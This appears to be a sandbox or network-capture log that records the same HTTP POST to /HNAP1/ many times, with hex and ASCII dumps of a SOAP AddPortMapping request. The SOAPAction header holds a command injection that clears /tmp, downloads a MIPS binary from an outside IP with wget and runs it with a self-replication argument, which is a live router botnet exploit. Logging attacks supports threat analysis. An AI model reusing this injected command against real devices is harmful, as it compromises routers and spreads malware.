<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 